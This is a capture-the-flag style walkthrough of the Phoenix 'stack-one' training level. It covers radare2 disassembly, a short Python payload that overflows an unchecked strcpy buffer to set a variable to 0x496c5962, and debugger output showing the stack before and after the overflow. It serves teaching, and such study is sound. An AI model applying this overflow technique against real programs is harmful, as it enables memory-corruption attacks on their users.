Introduction

Stack One is very similar to Exploit Education Phoenix x86 Stack Zero with a few minor exceptions, which will be introduced shortly.

Recon

The use of rabin2 is essential to understand a little bit about the binary.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ rabin2 -I /opt/phoenix/i486/stack-one
arch     x86
baddr    0x8048000
binsz    3651
bintype  elf
bits     32
canary   false
class    ELF32
compiler GCC: (GNU) 7.3.0
crypto   false
endian   little
havecode true
intrp    /opt/phoenix/i486-linux-musl/lib/ld-musl-i386.so.1
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  Intel 80386
maxopsz  16
minopsz  1
nx       false
os       linux
pcalign  0
pic      false
relocs   true
relro    no
rpath    /opt/phoenix/i486-linux-musl/lib
sanitiz  false
static   false
stripped false
subsys   linux
va       true

So as to avoid repetition, the information about the binary is almost identical to that of the previous level. To sum up, this is a 32-bit Linux ELF with no protection against stack-based buffer overflows, among others.

Time to disassemble the binary with radare2.

1
$ r2 /opt/phoenix/i486/stack-one
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
[0x08048380]> aas
Cannot analyze at 0x080485f0
[0x08048380]> afl
0x080482fc    1 17           sym._init
0x080484d0    7 277  -> 112  sym.frame_dummy
0x080485b0    5 49           sym.__do_global_ctors_aux
0x080485e1    1 12           sym._fini
0x08048450    8 113  -> 111  sym.__do_global_dtors_aux
0x08048114   47 524  -> 625  sym..interp
0x08048380    1 62           entry0
0x08048370    1 6            sym.imp.__libc_start_main
0x080486f8    1 14           loc.__GNU_EH_FRAME_HDR
0x08048714    3 34           sym..eh_frame
0x08048750    1 44           obj.__EH_FRAME_BEGIN
0x080483c0    4 49   -> 40   sym.deregister_tm_clones
0x08048515    6 145          main
0x08048340    1 6            sym.imp.puts
0x08048350    1 6            sym.imp.errx
0x08048320    1 6            sym.imp.strcpy
0x08048330    1 6            sym.imp.printf
0x08048360    1 6            sym.imp.exit
[0x08048380]> s main
[0x08048515]> pdf
/ (fcn) main 145
|   int main (int argc, char **argv, char **envp);
|           ; var int32_t var_4ch @ ebp-0x4c
|           ; var int32_t var_ch @ ebp-0xc
|           ; arg int32_t arg_4h @ esp+0x4
|           ; DATA XREF from entry0 @ 0x80483b4
|           0x08048515      8d4c2404       lea ecx, [arg_4h]
|           0x08048519      83e4f0         and esp, 0xfffffff0
|           0x0804851c      ff71fc         push dword [ecx - 4]
|           0x0804851f      55             push ebp
|           0x08048520      89e5           mov ebp, esp
|           0x08048522      53             push ebx
|           0x08048523      51             push ecx
|           0x08048524      83ec50         sub esp, 0x50
|           0x08048527      89cb           mov ebx, ecx
|           0x08048529      83ec0c         sub esp, 0xc
|           0x0804852c      68f0850408     push str.Welcome_to_phoenix_stack_one__brought_to_you_by_https:__exploit.education ; sym..rodata
|                                                                      ; 0x80485f0 ; "Welcome to phoenix/stack-one, brought to you by https://exploit.education"
|           0x08048531      e80afeffff     call sym.imp.puts           ; int puts(const char *s)
|           0x08048536      83c410         add esp, 0x10
|           0x08048539      833b01         cmp dword [ebx], 1
|       ,=< 0x0804853c      7f0f           jg 0x804854d
|       |   0x0804853e      83ec08         sub esp, 8
|       |   0x08048541      683c860408     push str.specify_an_argument__to_be_copied_into_the__buffer ; 0x804863c ; "specify an argument, to be copied into the \"buffer\""
|       |   0x08048546      6a01           push 1                      ; 1
|       |   0x08048548      e803feffff     call sym.imp.errx           ; void errx(int eval)
|       `-> 0x0804854d      c745f4000000.  mov dword [var_ch], 0
|           0x08048554      8b4304         mov eax, dword [ebx + 4]
|           0x08048557      83c004         add eax, 4
|           0x0804855a      8b00           mov eax, dword [eax]
|           0x0804855c      83ec08         sub esp, 8
|           0x0804855f      50             push eax
|           0x08048560      8d45b4         lea eax, [var_4ch]
|           0x08048563      50             push eax
|           0x08048564      e8b7fdffff     call sym.imp.strcpy         ; char *strcpy(char *dest, const char *src)
|           0x08048569      83c410         add esp, 0x10
|           0x0804856c      8b45f4         mov eax, dword [var_ch]
|           0x0804856f      3d62596c49     cmp eax, 0x496c5962
|       ,=< 0x08048574      7512           jne 0x8048588
|       |   0x08048576      83ec0c         sub esp, 0xc
|       |   0x08048579      6870860408     push str.Well_done__you_have_successfully_set_changeme_to_the_correct_value ; 0x8048670 ; "Well done, you have successfully set changeme to the correct value"
|       |   0x0804857e      e8bdfdffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x08048583      83c410         add esp, 0x10
|      ,==< 0x08048586      eb14           jmp 0x804859c
|      |`-> 0x08048588      8b45f4         mov eax, dword [var_ch]
|      |    0x0804858b      83ec08         sub esp, 8
|      |    0x0804858e      50             push eax
|      |    0x0804858f      68b4860408     push str.Getting_closer__changeme_is_currently_0x_08x__we_want_0x496c5962 ; 0x80486b4 ; "Getting closer! changeme is currently 0x%08x, we want 0x496c5962\n"
|      |    0x08048594      e897fdffff     call sym.imp.printf         ; int printf(const char *format)
|      |    0x08048599      83c410         add esp, 0x10
|      |    ; CODE XREF from main @ 0x8048586
|      `--> 0x0804859c      83ec0c         sub esp, 0xc
|           0x0804859f      6a00           push 0
\           0x080485a1      e8bafdffff     call sym.imp.exit           ; void exit(int status)

Below is the output of agf, which outputs the basic blocks function graph.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
[0x08048515]> agf
[0x08048515]>  # int main (int argc, char **argv, char **envp);
                   .---------------------------------------------------------------------------------------.
                   |  0x8048515                                                                            |
                   | (fcn) main 145                                                                        |
                   |   int main (int argc, char **argv, char **envp);                                      |
                   | ; var int32_t var_4ch @ ebp-0x4c                                                      |
                   | ; var int32_t var_ch @ ebp-0xc                                                        |
                   | ; arg int32_t arg_4h @ esp+0x4                                                        |
                   | ; DATA XREF from entry0 @ 0x80483b4                                                   |
                   | lea ecx, [arg_4h]                                                                     |
                   | and esp, 0xfffffff0                                                                   |
                   | push dword [ecx - 4]                                                                  |
                   | push ebp                                                                              |
                   | mov ebp, esp                                                                          |
                   | push ebx                                                                              |
                   | push ecx                                                                              |
                   | sub esp, 0x50                                                                         |
                   | mov ebx, ecx                                                                          |
                   | sub esp, 0xc                                                                          |
                   | ; sym..rodata                                                                         |
                   | ; 0x80485f0                                                                           |
                   | ; "Welcome to phoenix/stack-one, brought to you by https://exploit.education"         |
                   | push str.Welcome_to_phoenix_stack_one__brought_to_you_by_https:__exploit.education    |
                   | ; int puts(const char *s)                                                             |
                   | call sym.imp.puts;[oa]                                                                |
                   | add esp, 0x10                                                                         |
                   | cmp dword [ebx], 1                                                                    |
                   | jg 0x804854d                                                                          |
                   `---------------------------------------------------------------------------------------'
                           f t
                           | |
                           | '--------------------------------------------.
    .----------------------'                                              |
    |                                                                     |
.----------------------------------------------------------------.    .---------------------------------------------.
|  0x804853e                                                     |    |  0x804854d                                  |
| sub esp, 8                                                     |    | mov dword [var_ch], 0                       |
| ; 0x804863c                                                    |    | mov eax, dword [ebx + 4]                    |
| ; "specify an argument, to be copied into the \"buffer\""      |    | add eax, 4                                  |
| push str.specify_an_argument__to_be_copied_into_the__buffer    |    | mov eax, dword [eax]                        |
| ; 1                                                            |    | sub esp, 8                                  |
| push 1                                                         |    | push eax                                    |
| ; void errx(int eval)                                          |    | lea eax, [var_4ch]                          |
| call sym.imp.errx;[ob]                                         |    | push eax                                    |
`----------------------------------------------------------------'    | ; char *strcpy(char *dest, const char *src) |
                                                                      | call sym.imp.strcpy;[oc]                    |
                                                                      | add esp, 0x10                               |
                                                                      | mov eax, dword [var_ch]                     |
                                                                      | cmp eax, 0x496c5962                         |
                                                                      | jne 0x8048588                               |
                                                                      `---------------------------------------------'
                                                                              f t
                                                                              | |
                                                                              | '-------------------.
              .---------------------------------------------------------------'                     |
              |                                                                                     |
          .--------------------------------------------------------------------------------.    .------------------------------------------------------------------------------.
          |  0x8048576                                                                     |    |  0x8048588                                                                   |
          | sub esp, 0xc                                                                   |    | mov eax, dword [var_ch]                                                      |
          | ; 0x8048670                                                                    |    | sub esp, 8                                                                   |
          | ; "Well done, you have successfully set changeme to the correct value"         |    | push eax                                                                     |
          | push str.Well_done__you_have_successfully_set_changeme_to_the_correct_value    |    | ; 0x80486b4                                                                  |
          | ; int puts(const char *s)                                                      |    | ; "Getting closer! changeme is currently 0x%08x, we want 0x496c5962\n"       |
          | call sym.imp.puts;[oa]                                                         |    | push str.Getting_closer__changeme_is_currently_0x_08x__we_want_0x496c5962    |
          | add esp, 0x10                                                                  |    | ; int printf(const char *format)                                             |
          | jmp 0x804859c                                                                  |    | call sym.imp.printf;[od]                                                     |
          `--------------------------------------------------------------------------------'    | add esp, 0x10                                                                |
              v                                                                                 `------------------------------------------------------------------------------'
              |                                                                                     v
              |                                                                                     |
              '------------------------------------------------------------------.                  |
                                                                                 | .----------------'
                                                                                 | |
                                                                           .-----------------------------------.
                                                                           |  0x804859c                        |
                                                                           | ; CODE XREF from main @ 0x8048586 |
                                                                           | sub esp, 0xc                      |
                                                                           | push 0                            |
                                                                           | ; void exit(int status)           |
                                                                           | call sym.imp.exit;[oe]            |
                                                                           `-----------------------------------'

Unlike the previous level, the input is not read from STDIN, but, rather, is passed as an argument to the binary. Also, the gets call is replaced by strcpy, which also allows stack-based buffer overflows considering that it does not restrict the size of bytes to be copied.

Exploit

The buffer’s size is still 64 bytes and we need to overflow the stack so that the value of the local variable var_ch is overwritten with 0x496c5962.

Here follows a python3 script to create the exploit:

1
2
3
4
#!/usr/bin/env python3
import os

os.write(1, b'\x58'*64 + b'\x62\x59\x6c\x49')
1
$ ./theScript.py > pattern

Now, the binary can be debugged as follows:

1
$ r2 -d /opt/phoenix/i486/stack-one `cat pattern`

In order to verify the stack contents before and after the strcpy call, a breakpoint is needed at the address of that call.

1
2
3
4
5
6
[0xf7f20d4b]> aas
Cannot analyze at 0x080485f0
[0xf7f20d4b]> db 0x08048564
[0xf7f20d4b]> dc
Welcome to phoenix/stack-one, brought to you by https://exploit.education
hit breakpoint at: 8048564

The value of var_ch before the call is:

1
2
[0xf7eed929]> px/xw 0xffa8aeb8-0xc
0xffa8aeac  0x00000000                                   ....

The stack before the call:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
[0x08048564]> dr
eax = 0xffa8ae6c
ebx = 0xffa8aed0
ecx = 0xffa8ada0
edx = 0x00000000
esi = 0xffa8af44
edi = 0x00000002
esp = 0xffa8ae50
ebp = 0xffa8aeb8
eip = 0x08048564
eflags = 0x00000292
oeax = 0xffffffff
[0x08048564]> px/24xw 0xffa8ae50
0xffa8ae50  0xffa8ae6c 0xffa8c5cb 0x0000007d 0x00000010  l.......}.......
0xffa8ae60  0x080482fc 0x080485e1 0x00000000 0x0000005c  ............\...
0xffa8ae70  0x00000000 0x00000000 0x00000000 0x00000000  ................
0xffa8ae80  0x00000011 0xf7f5819c 0x00000000 0x080482cc  ................
0xffa8ae90  0x00000000 0x00000000 0x00000000 0x00000000  ................
0xffa8aea0  0x00000000 0x00000000 0x00000000 0x00000000  ................

and after the call:

1
2
3
4
5
6
7
8
9
[0x08048564]> dso
hit breakpoint at: 8048569
[0x08048564]> px/24xw 0xffa8ae50
0xffa8ae50  0xffa8ae6c 0xffa8c5cb 0x0000007d 0x00000010  l.......}.......
0xffa8ae60  0x080482fc 0x080485e1 0x00000000 0x58585858  ............XXXX
0xffa8ae70  0x58585858 0x58585858 0x58585858 0x58585858  XXXXXXXXXXXXXXXX
0xffa8ae80  0x58585858 0x58585858 0x58585858 0x58585858  XXXXXXXXXXXXXXXX
0xffa8ae90  0x58585858 0x58585858 0x58585858 0x58585858  XXXXXXXXXXXXXXXX
0xffa8aea0  0x58585858 0x58585858 0x58585858 0x496c5962  XXXXXXXXXXXXbYlI

Note that the value of the local variable var_ch has been overwritten, as is shown below:

1
2
[0x08048564]> px/xw 0xffa8aeb8-0xc
0xffa8aeac  0x496c5962                                   bYlI

Continuing with the execution:

1
2
[0x08048564]> dc
Well done, you have successfully set changeme to the correct value

Conclusion

This level has many similarities with the first level, but with one noteable difference. That is, the objective was not to simply overwrite the value of a local variable, but to overflow the stack such that the variable contains a specific value.